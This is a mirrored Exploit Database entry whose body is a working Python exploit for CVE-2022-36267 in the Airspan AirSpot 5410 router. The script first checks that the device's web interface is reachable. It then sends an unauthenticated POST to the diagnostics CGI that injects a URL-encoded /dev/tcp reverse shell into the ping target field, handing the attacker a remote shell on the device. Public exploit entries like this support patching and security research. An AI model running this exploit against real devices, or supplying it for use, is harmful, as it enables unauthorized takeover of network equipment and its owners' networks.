Airspan AirSpot 5410 version 0.3.4.1 – Remote Code Execution (RCE)

• Exploit Database
• 136 阅读

• 作者： Samy Younsi
  日期： 2022-09-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/51011/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80

  # Exploit Title: Airspan AirSpot 5410 version 0.3.4.1 - Remote Code Execution (RCE) # Date: 7/26/2022 # Exploit Author: Samy Younsi (NSLABS) (https://samy.link) # Vendor Homepage: https://www.airspan.com/ # Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf # Version: 0.3.4.1-4 and under. # Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu) # CVE : CVE-2022-36267   from __future__ import print_function, unicode_literals import argparse import requests import urllib3 urllib3.disable_warnings()   def banner(): airspanLogo = """ ,-. / \<code>.__..-,O : \ --&apos;&apos;_..-&apos;.&apos; |. .-&apos; </code>. &apos;. : . .<code>.&apos; \ </code>./.. \<code>. &apos; . </code>, <code>. \ ,|,</code>.<code>-.\ &apos;.||</code><code>-...__..- || Airspan |__| AirSpot 5410 /||\ PWNED x_x //||\\ // || \\ __//__||__\\__ &apos;--------------&apos;Necrum Security Labs   \033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mAirSpot 5410 CMD INJECTION\033[1;m FOR EDUCATIONAL PURPOSE ONLY. """ return print(&apos;\033[1;94m{}\033[1;m&apos;.format(airspanLogo))   def pingWebInterface(RHOST, RPORT): url = &apos;https://{}:{}&apos;.format(RHOST, RPORT) try: response = requests.get(url, allow_redirects=False, verify=False, timeout=30) if response.status_code != 200: print(&apos;[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m&apos;) exit() print(&apos;[INFO] Airspan device web interface seems reachable!&apos;) except: print(&apos;[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m&apos;) exit()     def execReverseShell(RHOST, RPORT, LHOST, LPORT): payload = &apos;<code>sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261</code>&apos;.format(LHOST, LPORT) data = &apos;Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1&apos;.format(payload) try: print(&apos;[INFO] Executing reverse shell...&apos;) response = requests.post(&apos;https://{}:{}/cgi-bin/diagnostics.cgi&apos;.format(RHOST, RPORT), data=data, verify=False) print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT)) return except Exception as e: print("Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}").format(LHOST, LPORT) return False   def main(): banner() args = parser.parse_args() pingWebInterface(args.RHOST, args.RPORT) execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)     if __name__ == "__main__": parser = argparse.ArgumentParser(description=&apos;Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.&apos;, add_help=False) parser.add_argument(&apos;--RHOST&apos;, help="Refers to the IP of the target machine. (Airspan AirSpot device)", type=str, required=True) parser.add_argument(&apos;--RPORT&apos;, help="Refers to the open port of the target machine. (443 by default)", type=int, required=True) parser.add_argument(&apos;--LHOST&apos;, help="Refers to the IP of your machine.", type=str, required=True) parser.add_argument(&apos;--LPORT&apos;, help="Refers to the open port of your machine.", type=int, required=True) main()